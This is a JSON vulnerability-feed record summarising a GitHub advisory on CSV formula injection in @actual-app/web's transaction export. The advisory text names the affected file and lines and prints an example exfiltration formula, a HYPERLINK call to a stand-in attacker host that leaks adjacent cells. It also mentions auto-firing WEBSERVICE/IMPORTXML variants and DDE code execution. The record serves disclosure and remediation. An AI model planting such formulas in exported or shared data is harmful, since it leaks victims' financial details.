{"items":[{"id":"NVI-00017691","kind":"vulnerability","title":"@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-xqjm-27pc-rvwm","CVE-2026-50179"],"plain_summary":"GitHub lists this reviewed advisory for @actual-app/web. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-483013cf1c75e80f4e20957a65f48f4b"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-22T23:48:40.000Z","value":"4.2 medium","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-483013cf1c75e80f4e20957a65f48f4b"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-483013cf1c75e80f4e20957a65f48f4b","url":"https://github.com/advisories/GHSA-xqjm-27pc-rvwm","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-xqjm-27pc-rvwm","publisher":"GitHub Advisory Database","observed_at":"2026-11-05T19:06:16.668Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-483013cf1c75e80f4e20957a65f48f4b"],"technology":"@actual-app/web","known_exclusions":[],"conditions_summary":"## Summary\n\n`exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK(\"http://attacker/?leak=\"&B2,\"Bank refund\")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.\n\n## Details\n\nSink — `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`:\n\n```ts\nreturn csvStringify(transactionsForExport, { header: true });\n```\n\nand the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does n","public_affected_ranges":["< 26.6.0"]}],"null_published_at":"2026-11-05T19:10:21.452Z","source_updated_at":"2026-06-22T23:48:40.000Z","source_disclosed_at":"2026-06-22T23:48:40.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-05T19:06:16.668Z"}],"next_cursor":null,"snapshot_revision":"42594"}